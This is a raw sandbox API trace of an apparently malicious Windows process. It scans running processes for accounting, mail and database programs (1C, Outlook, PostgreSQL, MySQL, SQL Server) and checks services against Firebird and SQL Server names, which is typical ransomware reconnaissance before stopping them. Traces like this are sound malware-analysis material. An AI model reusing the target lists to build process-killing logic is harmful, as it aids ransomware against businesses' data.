	[0168.457] lstrcmpiW (lpString1="outlook.exe", lpString2="SearchUI.exe") returned -1
	[0168.457] lstrcmpiW (lpString1="postgres.exe", lpString2="SearchUI.exe") returned -1
	[0168.457] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="SearchUI.exe") returned -1
	[0168.457] lstrcmpiW (lpString1="mysqld.exe", lpString2="SearchUI.exe") returned -1
	[0168.457] lstrcmpiW (lpString1="sqlservr.exe", lpString2="SearchUI.exe") returned 1
	[0168.457] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0168.459] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0168.459] lstrcmpiW (lpString1="1c8.exe", lpString2="ShellExperienceHost.exe") returned -1
	[0168.459] lstrcmpiW (lpString1="1cv77.exe", lpString2="ShellExperienceHost.exe") returned -1
	[0168.459] lstrcmpiW (lpString1="outlook.exe", lpString2="ShellExperienceHost.exe") returned -1
	[0168.459] lstrcmpiW (lpString1="postgres.exe", lpString2="ShellExperienceHost.exe") returned -1
	[0168.459] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="ShellExperienceHost.exe") returned -1
	[0168.459] lstrcmpiW (lpString1="mysqld.exe", lpString2="ShellExperienceHost.exe") returned -1
	[0168.459] lstrcmpiW (lpString1="sqlservr.exe", lpString2="ShellExperienceHost.exe") returned 1
	[0168.459] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0168.460] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0168.460] lstrcmpiW (lpString1="1c8.exe", lpString2="RuntimeBroker.exe") returned -1
	[0168.461] lstrcmpiW (lpString1="1cv77.exe", lpString2="RuntimeBroker.exe") returned -1
	[0168.461] lstrcmpiW (lpString1="outlook.exe", lpString2="RuntimeBroker.exe") returned -1
	[0168.461] lstrcmpiW (lpString1="postgres.exe", lpString2="RuntimeBroker.exe") returned -1
	[0168.461] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="RuntimeBroker.exe") returned -1
	[0168.461] lstrcmpiW (lpString1="mysqld.exe", lpString2="RuntimeBroker.exe") returned -1
	[0168.461] lstrcmpiW (lpString1="sqlservr.exe", lpString2="RuntimeBroker.exe") returned 1
	[0168.461] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0168.462] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0168.463] lstrcmpiW (lpString1="1c8.exe", lpString2="WmiPrvSE.exe") returned -1
	[0168.463] lstrcmpiW (lpString1="1cv77.exe", lpString2="WmiPrvSE.exe") returned -1
	[0168.463] lstrcmpiW (lpString1="outlook.exe", lpString2="WmiPrvSE.exe") returned -1
	[0168.463] lstrcmpiW (lpString1="postgres.exe", lpString2="WmiPrvSE.exe") returned -1
	[0168.463] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="WmiPrvSE.exe") returned -1
	[0168.463] lstrcmpiW (lpString1="mysqld.exe", lpString2="WmiPrvSE.exe") returned -1
	[0168.463] lstrcmpiW (lpString1="sqlservr.exe", lpString2="WmiPrvSE.exe") returned -1
	[0168.463] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0168.464] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0168.464] lstrcmpiW (lpString1="1c8.exe", lpString2="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned -1
	[0168.464] lstrcmpiW (lpString1="1cv77.exe", lpString2="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned -1
	[0168.464] lstrcmpiW (lpString1="outlook.exe", lpString2="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 1
	[0168.464] lstrcmpiW (lpString1="postgres.exe", lpString2="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 1
	[0168.464] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 1
	[0168.464] lstrcmpiW (lpString1="mysqld.exe", lpString2="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 1
	[0168.464] lstrcmpiW (lpString1="sqlservr.exe", lpString2="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 1
	[0168.464] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0168.465] lstrlenW (lpString="cmd.exe") returned 7
	[0168.465] lstrcmpiW (lpString1="1c8.exe", lpString2="cmd.exe") returned -1
	[0168.465] lstrcmpiW (lpString1="1cv77.exe", lpString2="cmd.exe") returned -1
	[0168.465] lstrcmpiW (lpString1="outlook.exe", lpString2="cmd.exe") returned 1
	[0168.465] lstrcmpiW (lpString1="postgres.exe", lpString2="cmd.exe") returned 1
	[0168.465] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="cmd.exe") returned 1
	[0168.465] lstrcmpiW (lpString1="mysqld.exe", lpString2="cmd.exe") returned 1
	[0168.465] lstrcmpiW (lpString1="sqlservr.exe", lpString2="cmd.exe") returned 1
	[0168.465] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0168.466] lstrlenW (lpString="conhost.exe") returned 11
	[0168.466] lstrcmpiW (lpString1="1c8.exe", lpString2="conhost.exe") returned -1
	[0168.466] lstrcmpiW (lpString1="1cv77.exe", lpString2="conhost.exe") returned -1
	[0168.466] lstrcmpiW (lpString1="outlook.exe", lpString2="conhost.exe") returned 1
	[0168.466] lstrcmpiW (lpString1="postgres.exe", lpString2="conhost.exe") returned 1
	[0168.467] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0168.468] lstrlenW (lpString="consent.exe") returned 11
	[0168.468] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0168.469] lstrlenW (lpString="dllhost.exe") returned 11
	[0168.469] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0168.470] CloseHandle (hObject=0x350) returned 1
	[0168.470] Sleep (dwMilliseconds=0x1f4) 
	[0169.716] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45b0228
	[0169.717] EnumServicesStatusExW (in: hSCManager=0x45b0228, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 0
	[0169.717] GetLastError () returned 0xea
	[0169.717] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1bc4) returned 0x46f23f8
	[0169.717] EnumServicesStatusExW (in: hSCManager=0x45b0228, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x46f23f8, cbBufSize=0x1bc4, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x46f23f8, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 1
	[0169.718] CloseServiceHandle (hSCObject=0x45b0228) returned 1
	[0169.719] lstrlenW (lpString="Appinfo") returned 7
	[0169.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0169.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0169.719] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0169.719] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0169.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0169.719] lstrlenW (lpString="AppXSvc") returned 7
	[0169.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0169.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0169.719] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0169.719] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0169.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0169.719] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0169.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0169.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0169.719] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0169.719] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0169.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0169.719] lstrlenW (lpString="Audiosrv") returned 8
	[0169.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0169.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0169.720] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0169.720] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0169.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0169.720] lstrlenW (lpString="BFE") returned 3
	[0169.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0169.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0169.720] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0169.720] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0169.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0169.720] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0169.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0169.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0169.720] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0169.720] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0169.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0169.720] lstrlenW (lpString="CDPSvc") returned 6
	[0169.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0169.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0169.720] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0169.721] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0169.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0169.721] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0169.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0169.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0169.721] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0169.721] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0169.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0169.721] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0169.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0169.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0169.721] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0169.721] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0169.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0169.721] lstrlenW (lpString="CryptSvc") returned 8
	[0169.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0169.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0169.721] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0169.721] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0169.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0169.721] lstrlenW (lpString="DcomLaunch") returned 10
	[0169.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0169.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0169.721] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0169.721] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0169.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0169.722] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0169.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0169.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0169.722] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0169.722] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0169.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0169.722] lstrlenW (lpString="Dhcp") returned 4
	[0169.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0169.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0169.722] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0169.722] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0169.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0169.722] lstrlenW (lpString="Dnscache") returned 8
	[0169.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0169.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0169.722] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0169.722] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0169.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0169.722] lstrlenW (lpString="DPS") returned 3
	[0169.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0169.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0169.722] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0169.723] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0169.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0169.723] lstrlenW (lpString="DusmSvc") returned 7
	[0169.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0169.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0169.723] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0169.723] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0169.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0169.723] lstrlenW (lpString="EventLog") returned 8
	[0169.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0169.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0169.723] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0169.723] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0169.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0169.732] lstrlenW (lpString="EventSystem") returned 11
	[0169.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0169.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0169.803] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0169.803] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0169.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0169.803] lstrlenW (lpString="FontCache") returned 9
	[0169.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0169.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0169.803] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0169.803] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0169.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0169.803] lstrlenW (lpString="gpsvc") returned 5
	[0169.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0169.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0169.803] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0169.803] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0169.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0169.804] lstrlenW (lpString="iphlpsvc") returned 8
	[0169.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0169.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0169.804] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0169.804] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0169.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0169.804] lstrlenW (lpString="KeyIso") returned 6
	[0169.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0169.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0169.804] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0169.804] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0169.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0169.804] lstrlenW (lpString="LanmanServer") returned 12
	[0169.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0169.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0169.804] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0169.804] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0169.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0169.805] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0169.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0169.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0169.805] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0169.805] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0169.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0169.805] lstrlenW (lpString="lfsvc") returned 5
	[0169.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0169.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0169.805] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0169.805] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0169.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0169.805] lstrlenW (lpString="lmhosts") returned 7
	[0169.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0169.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0169.805] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0169.805] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0169.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0169.805] lstrlenW (lpString="LSM") returned 3
	[0169.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0169.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0169.805] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0169.806] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0169.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0169.806] lstrlenW (lpString="MpsSvc") returned 6
	[0169.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0169.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0169.806] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0169.806] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0169.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0169.806] lstrlenW (lpString="NcbService") returned 10
	[0169.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0169.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0169.806] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0169.806] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0169.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0169.806] lstrlenW (lpString="netprofm") returned 8
	[0169.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0169.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0169.807] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0169.807] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0169.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0169.807] lstrlenW (lpString="NgcSvc") returned 6
	[0169.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0169.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0169.807] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0169.807] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0169.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0169.807] lstrlenW (lpString="NlaSvc") returned 6
	[0169.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0169.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0169.807] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0169.807] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0169.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0169.807] lstrlenW (lpString="nsi") returned 3
	[0169.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0169.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0169.807] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0169.807] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0169.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0169.808] lstrlenW (lpString="PcaSvc") returned 6
	[0169.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0169.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0169.808] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0169.808] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0169.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0169.808] lstrlenW (lpString="PlugPlay") returned 8
	[0169.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0169.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0169.808] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0169.808] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0169.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0169.808] lstrlenW (lpString="Power") returned 5
	[0169.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0169.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0169.808] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0169.809] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0169.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0169.809] lstrlenW (lpString="ProfSvc") returned 7
